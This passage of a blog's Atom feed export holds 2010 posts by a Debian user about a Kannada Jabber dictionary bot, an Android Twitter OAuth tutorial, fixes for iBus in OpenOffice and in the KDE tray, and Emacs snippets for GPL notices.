src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7248147352011827137</id><published>2010-11-30T19:28:00.000-08:00</published><updated>2011-02-09T21:42:04.012-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='wiktionary'/><title type='text'>New feature for Jabber Kannada Dictionary Bot</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;After seeing a great response and feedback for &lt;a href="http://vasudevkamath.blogspot.com/2010/11/jabber-dictionary-bot-for-kannada.html"&gt;Kannada Jabber dictionary bot project&lt;/a&gt; I thought of adding few new features and fixing some issues reported by the users. Here is the changelog&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;1. Bot was not replying for &lt;b&gt;Tiger&lt;/b&gt; where as there was meaning for word &lt;b&gt;tiger&lt;/b&gt; an issue reported by one of the user. I've fixed this issue and now bot is case insensitive.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. Bot was not providing all the meanings for some words for example for word &lt;b&gt;tiger &lt;/b&gt;it was replying as ಪುಲಿ where as Kannada Wiktionary contained these meaning ಪುಲಿ, ಹುಲಿ, ವ್ಯಾಘ್ರ. This issue is fixed now bot gives all the meanings present in Kannada Wiktionary.&lt;/div&gt;&lt;br /&gt;Thanks to Suma and Vivek Shankar for reporting these issues.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Now for the new feature, many users had asked a way for adding meanings to word for undefined words. My friend &lt;a href="http://aravindavk.in/"&gt;Aravinda&lt;/a&gt; suggested me a way to do this, by letting user send the meaning to bot when bot replies no meaning found. So when bot doesn't find a meaning it replies to as show in below screenshot.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/TPW--FhGjZI/AAAAAAAABac/b75Nk_8qnHU/s1600/kn-new-reply.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="218" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/TPW--FhGjZI/AAAAAAAABac/b75Nk_8qnHU/s400/kn-new-reply.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So if you want to add the meaning to a word all you need to do is send the bot following line&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;#add&amp;nbsp;&lt;/i&gt;&lt;word&gt;&lt;meaning(s)&gt;&lt;i&gt;word meaning(s)&lt;/i&gt;&lt;br /&gt;&lt;/meaning(s)&gt;&lt;/word&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;If you have multiple meanings for a word please separate them with "&lt;b&gt;,&lt;/b&gt;". We will collect all the meanings added by you and periodically send these to Wiktionary admins so they can verify these words and add them to Wiktionary. Please make use of this new feature and report back any bugs or any new suggestions :).. Also use the bot and help us to enrich the Kannada Wiktionary :).&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7248147352011827137?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/11/new-feature-for-jabber-kannada.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7248147352011827137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7248147352011827137'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/11/new-feature-for-jabber-kannada.html' title='New feature for Jabber Kannada Dictionary Bot'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pms4ehFPMfI/TPW--FhGjZI/AAAAAAAABac/b75Nk_8qnHU/s72-c/kn-new-reply.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-4592822800870926499</id><published>2010-11-21T09:49:00.000-08:00</published><updated>2010-11-21T09:49:28.441-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>A Jabber Dictionary Bot for Kannada</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If you want to know the Kannada meaning of a word or English meaning of a Kannada word using your IM then here is one Jabber dictionary bot for your assistance. You just need to send the word whose meaning you want to know to this bot and you will get the meaning of the word back or in case there is no meaning defined the bot will ask an apology :). Interesting eh?. The why are you waiting go on and add following email ID to your &lt;i&gt;&lt;b&gt;Jabber/Gmail&lt;/b&gt;&lt;/i&gt; buddy list.&lt;/div&gt;&lt;blockquote&gt;kn.dict.bot@jabber.org &lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;When bot comes online just tell him &lt;i&gt;&lt;b&gt;Hi&lt;/b&gt;&lt;/i&gt; or &lt;i&gt;&lt;b&gt;Hello&lt;/b&gt;&lt;/i&gt; and you will get a nice welcome message which is shown below&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/TOlVhgboBHI/AAAAAAAABaQ/BMI_aKFm-Yk/s1600/welcome-message.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="255" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/TOlVhgboBHI/AAAAAAAABaQ/BMI_aKFm-Yk/s320/welcome-message.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Now send a word either in English or Kannada and see what happens :).&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This bot was originally developed by &lt;a href="http://thottingal.in/"&gt;Santhosh Thottingal&lt;/a&gt; and &lt;a href="http://smc.org.in/"&gt;SMC&lt;/a&gt; developers for Hindi and Malayalam, you can find more information about these bots &lt;a href="http://thottingal.in/blog/2010/11/20/dictionary-jabber-buddy-bots/"&gt;here&lt;/a&gt; this bot supports Dictd protocol and Wiktionary. Currently this bot only uses &lt;a href="http://kn.wiktionary.org/"&gt;Kannada Wiktionary&lt;/a&gt; as back end since&amp;nbsp; Kannada Dictd dictionaries are not developed. Once we develop a Dictd dictionary I'll enable the Dictd support.&amp;nbsp; I'm thankful to &lt;i&gt;Santhosh Thottinal&lt;/i&gt; and &lt;i&gt;SMC&lt;/i&gt; for allowing me to host the bot on their VPS.&lt;/div&gt;&lt;br /&gt;Please use this bot service and report any bugs or suggestions. My email Id can be found on my blogger profile. &lt;br /&gt;&amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-4592822800870926499?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/11/jabber-dictionary-bot-for-kannada.html#comment-form' title='40 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4592822800870926499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4592822800870926499'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/11/jabber-dictionary-bot-for-kannada.html' title='A Jabber Dictionary Bot for Kannada'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pms4ehFPMfI/TOlVhgboBHI/AAAAAAAABaQ/BMI_aKFm-Yk/s72-c/welcome-message.png' height='72' width='72'/><thr:total>40</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3960657310260871175</id><published>2010-09-26T10:30:00.000-07:00</published><updated>2010-09-26T10:30:20.359-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='OAuth'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><title type='text'>Android: OAuth authentication with twitter using oauth-signpost</title><content type='html'>Twitter has recently stopped support for Basic Authentication scheme in twitter API, from now on all the app which will be using twitter api's should use OAuth authentication system. To know what is OAuth refer this &lt;a href="http://en.wikipedia.org/wiki/OAuth"&gt;wiki article&lt;/a&gt; and OAuth official &lt;a href="http://oauth.net/"&gt;website&lt;/a&gt;.&lt;br /&gt;It took me few days to completely understand what is actualy going behind the scene in OAuth authentication scheme, thanks to this wonderful &lt;a href="http://www.jaanuskase.com/en/2010/01/understanding_the_guts_of_twit.html"&gt;article.&lt;/a&gt;&lt;br /&gt;Before starting with tutorial I assume that you know basics of android like creating a project , editing manifest files and configuring build paths. I won't be covering those here. &lt;br /&gt;&lt;ol&gt;&lt;li&gt;For using OAuth in android we will use a library called oauth-signpost written in java and freely available &lt;a href="http://code.google.com/p/oauth-signpost/"&gt;here&lt;/a&gt;. Download the &lt;a href="http://code.google.com/p/oauth-signpost/downloads/detail?name=signpost-core-1.2.1.1.jar&amp;amp;can=2&amp;amp;q="&gt;oauth-signpost&lt;/a&gt; core and&lt;a href="http://code.google.com/p/oauth-signpost/downloads/detail?name=signpost-commonshttp4-1.2.1.1.jar&amp;amp;can=2&amp;amp;q="&gt; commons http jars&lt;/a&gt;. Add these jar's to the &lt;i&gt;&lt;b&gt;assets&lt;/b&gt;&lt;/i&gt; folder of your android project and add them to your project build path.&lt;/li&gt;&lt;li&gt;Before we begin we need to create a application in twitter and get our consumer key and consumer secret. Please go to this &lt;a href="http://twitter.com/oauth_clients/new"&gt;page&lt;/a&gt; and register your application&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Application Name: is the unique name for your application which appears in your twitter status message.&lt;/li&gt;&lt;li&gt;Application Type: Select &lt;i&gt;&lt;b&gt;browser.&lt;/b&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Callback URI: You can give any URL as of now, we are going to provide actual call back URL from our application code.&lt;/li&gt;&lt;li&gt;Once you are done with creating application copy the &lt;i&gt;consumer key&lt;/i&gt; and &lt;i&gt;consumer secret&lt;/i&gt; to a safe place &lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Twitter uses call back URL to send back the verification PIN to our application. Normally browser type is used only for web application but what we are going to do is make our android application &lt;i&gt;browsable&lt;/i&gt; and use Android's data URI schemes to get back PIN from twitter. Other approach is making&amp;nbsp; application type as &lt;i&gt;client&lt;/i&gt;. In this case verification number is displayed in browser and you should ask your user to manually enter the verfication number in specified text box.&lt;/li&gt;&lt;li&gt;To make the application browsable and register data URI schemes with android runtime add following intent filter to your activity in AndroidManifest.xml. Browsable means your application can be launched using the data URI scheme registered in android manifest. For eg. you can open the android browser and type in &lt;i&gt;scheme://host&lt;/i&gt; and it will launch your application also you can pass data to application from URI line. &lt;/li&gt;&lt;script src="http://gist.github.com/597990.js?file=gistfile1.xml"&gt;&lt;/script&gt;&lt;li&gt;&amp;nbsp;Now declare the following variables, change consumer key and secret to the value you copied in step 2. Note that I'm declaring the &lt;i&gt;CommonsHttpOAuthConsumer&lt;/i&gt; , &lt;i&gt;OAuthProvider&lt;/i&gt; and &lt;i&gt;HttpClient &lt;/i&gt;as static. I'll explain the reason later.&lt;/li&gt;&lt;script src="http://gist.github.com/598071.js?file=vardefs.java"&gt;&lt;/script&gt;&lt;li&gt;Now add a button to your view (main.xml) and in your activities &lt;i&gt;&lt;b&gt;onCreate&lt;/b&gt;&lt;/i&gt; function add the following code.&lt;/li&gt;&lt;script src="http://gist.github.com/598075.js?file=oauth_oncreate.java"&gt;&lt;/script&gt;&lt;li&gt;&amp;nbsp;What actually we are doing here is retriving the unauthorized token and token secret from the Twitter and providing the twitter actual callback URL. When user authroizes the token and token secrets the verification code is sent to this URL (i.e browser will be redirected to this URL by twitter). Lets see what is really happening in the backend. Twitter redirects the browser to the call back url with oauth_token and oauth_verifier as query parameter. For eg. In our case to this URL &lt;i&gt;scheme://host?oauth_token=1xx&amp;amp;oauth_verifer=1234&lt;/i&gt;. Since we are using android data uri scheme as callback URL browser simply relaunches our application passing it the oauth_token and oauth_verifier as intent data.&lt;/li&gt;&lt;li&gt;Since android supports multitasking relaunching just brings our application to foreground and control comes to the &lt;i&gt;&lt;b&gt;onResume &lt;/b&gt;&lt;/i&gt;function. We need to add the following code to our onResume function&lt;/li&gt;&lt;script src="http://gist.github.com/598086.js?file=oauth_onresume.java"&gt;&lt;/script&gt;&lt;li&gt;Now I'll tell you why I declared 3 variables as &lt;b&gt;static. &lt;/b&gt;As you see when user clicks the button we are launching the browser with authorize url making our activity to go to background. And when browser returns if I didn't declare my consumer object as static i'll get error while trying to retrive the authorized token and token secret with exception message "&lt;i&gt;Authorized token and token secret not set did you already retrived the authorized token and token secret&lt;/i&gt;". After a while of googling I got this &lt;a href="http://efreedom.com/Question/1-3255153/Android-OAuth-Exception-RetrieveAccessToken"&gt;solution&lt;/a&gt;. Looks like these fields in consumer object were getting reset, I think may be because of GC. Any way instead of reinitializing and going through all the pain once again I thought of declaring these variables as static and it worked like a charm!&lt;/li&gt;&lt;li&gt;Save the access token and access secret obtained in step 8 in a safe place. These should used in your further interaction with twitter without making user login to twitter again. Note that twitter doesn't expire these access token and secret. It will be expired only when user revokes the application permission.&lt;/li&gt;&lt;/ol&gt;In the above example you might have noticed that I never used the http client which is declared. Wondering why? Well its used for posting status or retriving timelines from the twitter. You can ignore that variable :).&lt;br /&gt;Thanks to this &lt;a href="http://dev.bostone.us/2009/07/16/android-oauth-twitter-updates/"&gt;tutorial&lt;/a&gt; which helped me in writing the above code. It looks like the version of oauth-signpost library used in this post is older than the one which I used. In the next part I'll show how to fetch the time line from twitter and also post the status update to twitter. Till then C ya :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3960657310260871175?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/09/android-oauth-authentication-with.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3960657310260871175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3960657310260871175'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/09/android-oauth-authentication-with.html' title='Android: OAuth authentication with twitter using oauth-signpost'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7509009304148427476</id><published>2010-09-26T02:20:00.000-07:00</published><updated>2010-09-26T02:20:27.135-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OpenOffice'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Fix: iBus not working with OpenOffice in Xfce4</title><content type='html'>&lt;div style="text-align: justify;"&gt;Today I faced a really weird problem of unable to type Kannada in OpenOffice Writer using iBus. I'm using Xfce4 with GDM in Debian and installed it recently. I was able write in Kannada in OpenOffice&amp;nbsp; with KDE4 and KDM.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;After a small research igured out the issue was&amp;nbsp; mainly because &lt;i&gt;&lt;b&gt;openoffice.org-gnome&lt;/b&gt;&lt;/i&gt; pacakge was not installed in my system where as in KDE environment with KDM had &lt;i&gt;&lt;b&gt;openoffice.org-kde&lt;/b&gt;&lt;/i&gt; installed.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Fix: If you are also facing this issue just check you have &lt;i&gt;&lt;b&gt;openoffice.org-gnome (for gdm) and openoffice.org-kde (for kdm)&lt;/b&gt;&lt;/i&gt; installed. After installing this packages you can start typing Kannada (or any other language) using iBus in OpenOffice.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7509009304148427476?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/09/fix-ibus-not-working-with-openoffice-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7509009304148427476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7509009304148427476'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/09/fix-ibus-not-working-with-openoffice-in.html' title='Fix: iBus not working with OpenOffice in Xfce4'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3717678128604702632</id><published>2010-08-19T10:00:00.001-07:00</published><updated>2010-09-25T11:44:57.522-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><category scheme='http://www.blogger.com/atom/ns#' term='ibus'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>iBus tray icon issue fix</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div align="justify"&gt;I use Debian Sid with KDE 4.4 and use iBus as IME for using Indic languages. But recently the iBus tray icon was not loading and a white patch used to appear which looked ugly. To see what is going on I ran ibus in debug mode using following command.&lt;/div&gt;&lt;blockquote&gt;&lt;div align="justify"&gt;&lt;b&gt;&lt;i&gt;ibus-daemon -xvr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;I got the following message in the terminal&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;/usr/share/ibus/ui/gtk/icon.py:35: GtkWarning: Could not find the icon 'ibus-keyboard'. The 'hicolor' theme&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;was not found either, perhaps you need to install it.&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;You can get a copy from:&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; http://icon-theme.freedesktop.org/releases&lt;/i&gt;&lt;/blockquote&gt;&lt;div align="justify"&gt;The message clearly indicates the Gtk system was unable to find out icon named &lt;i&gt;ibus-keyboard&lt;/i&gt;. To debug this issue I opened the file &lt;i&gt;/usr/share/ibus/ui/gtk/icon.py&lt;/i&gt; to see if the name or path of icon is in the file. Frankly I'm a noob in PyGtk programming and didn't understand any content present with in the file, but a line attracted my attention and thought of trying it out. Following is what I did in Python console.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div align="justify"&gt;&lt;i&gt;Python 2.6.6rc1+ (r266rc1:83691, Aug 5 2010, 19:21:55) &lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;[GCC 4.4.5 20100728 (prerelease)] on linux2&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;Type "help", "copyright", "credits" or "license" for more information.&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; import gtk&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;** Message: pygobject_register_sinkfunc is deprecated (GtkWindow)&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;** Message: pygobject_register_sinkfunc is deprecated (GtkInvisible)&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;** Message: pygobject_register_sinkfunc is deprecated (GtkObject)&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;/usr/lib/pymodules/python2.6/gtk-2.0/gtk/__init__.py:40: RuntimeWarning: tp_compare didn't return -1 or -2 for exception&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; from gtk import _gtk&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;Traceback (most recent call last):&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; File "/usr/lib/pymodules/python2.6/gtk-2.0/gi/__init__.py", line 27, in &amp;lt;module&amp;gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt; from gi.repository import GObject&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;ImportError: cannot import name GObject&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/i&gt;&lt;b&gt;&lt;i&gt;icon_theme = gtk.icon_theme_get_default()&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; icon_theme.get_search_path() &lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;('/home/vasudev/.icons', '/home/vasudev/.local/share/icons', '$XDG_DATA_DIRS/icons', '/usr/share/akonadi/agents/icons', '/usr/share/akonadi/agents/icons', '$XDG_DATA_DIRS/pixmaps', '/usr/share/akonadi/agents/pixmaps', '/usr/share/akonadi/agents/pixmaps')&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;I have made the line which gave me a hint to find this fix bold. Clearly the normal Gtk icon folder path is not present in the image search path. (i.e &lt;i&gt;/usr/share/icon &lt;/i&gt;where the iBus icon is present). I'm not sure whether this is a bug or normal behaviour but whatever it is below is the fix which makes the iBus icon reappear in tray.&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;ln /usr/share/icons/hicolor/scalable/apps/ibus-keyboard.svg ~/.local/share/icons/&lt;/i&gt;&lt;/blockquote&gt;This is what above command did, it created a &lt;a href="http://en.wikipedia.org/wiki/Hard_link" target="_blank" title="Hard Links"&gt;hard link &lt;/a&gt;of the icon in one of the directory where Gtk module is looking for icon. Thats it relaunch the iBus and tray icon should be fixed by now ! :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3717678128604702632?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/08/ibus-tray-icon-issue-fix.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3717678128604702632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3717678128604702632'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/08/ibus-tray-icon-issue-fix.html' title='iBus tray icon issue fix'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1736494341321333193</id><published>2010-08-08T10:35:00.000-07:00</published><updated>2010-09-25T11:51:45.029-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='yasnippet'/><category scheme='http://www.blogger.com/atom/ns#' term='emacs'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Inserting GPL license notice in Emacs</title><content type='html'>&lt;div style="text-align: justify;"&gt;If you have used Geany a simple IDE it allows you to insert the GPL or similar license into the code file. I use Emacs and when I want to insert some sort of open source license I had to switch back to Geany and insert the license and return back to Emacs. Finally I thought of writing my own yasnippet to do this job. I've written 2 separate snippet files one for Python and other can be used by all languages which use C style comments.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;The snippet does the following&lt;br /&gt;&lt;div style="text-align: justify;"&gt;1. It gets the name of the file from the current buffer's name&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. Copyright statement similar to one found in GPL license notice. Here I extract the year from current date. Also I insert the user name and email address from elisp variables user-full-name and user-mail-address. For customizing user name and email address please add the following lines in your .emacs file&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;(setq user-full-name&lt;/i&gt;&lt;br /&gt;&lt;i&gt;"Your name")&lt;/i&gt;&lt;br /&gt;&lt;i&gt;(setq user-mail-address&lt;/i&gt;&lt;br /&gt;&lt;i&gt;"Your email address")&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;3. Next comes the type of license. You can select license from drop down (Lesser,Affero) if you want to use GPL then just leave this field to default.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4. Version is also selected from drop down. Version 2 and 3 are for GPL,Affero and 2 2.1 for Lesser GPL. Its up-to user to select proper version for a license selected in previous option.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The first 2 options that is file name and copyright lines can be edited to override default values. Please use Tab key to navigate from one field to other.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;Here are the installation instruction&lt;br /&gt;&lt;div style="text-align: justify;"&gt;1. Copy the pygpl to &lt;i&gt;&lt;b&gt;snippets/text-mode/python-mode/&lt;/b&gt;&lt;/i&gt; folder.&lt;/div&gt;2. Copy the cgpl file to &lt;i&gt;&lt;b&gt;snippets/text-mode/cc-mode &lt;/b&gt;&lt;/i&gt;directory and then create hard links using ln in c-mode and c++-mode.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;Usage:&lt;br /&gt;&lt;div style="text-align: justify;"&gt;1. In the Python mode just type &lt;i&gt;&lt;b&gt;pygpl&lt;/b&gt;&lt;/i&gt; and then hit Tab key and license notice will be inserted starting from the line where you wrote pygpl. &lt;/div&gt;2. For C/C++ or any other mode follow the same step just type in &lt;i&gt;&lt;b&gt;cgpl&lt;/b&gt;&lt;/i&gt; instead of pygpl rest all remains same.&lt;br /&gt;Here is a screen shot of the license notice inserted in a Python file&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/TF7qnMUDs6I/AAAAAAAABX4/10SQnSCkx4I/s1600/screen_shot.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="473" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/TF7qnMUDs6I/AAAAAAAABX4/10SQnSCkx4I/s640/screen_shot.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;You can get the snippets from github. This is the first version of these snippets. Any suggestions on improvements are welcome :)&lt;br /&gt;--Vasudev&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1736494341321333193?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/08/inserting-gpl-license-notice-in-emacs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1736494341321333193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1736494341321333193'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/08/inserting-gpl-license-notice-in-emacs.html' title='Inserting GPL license notice in Emacs'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' 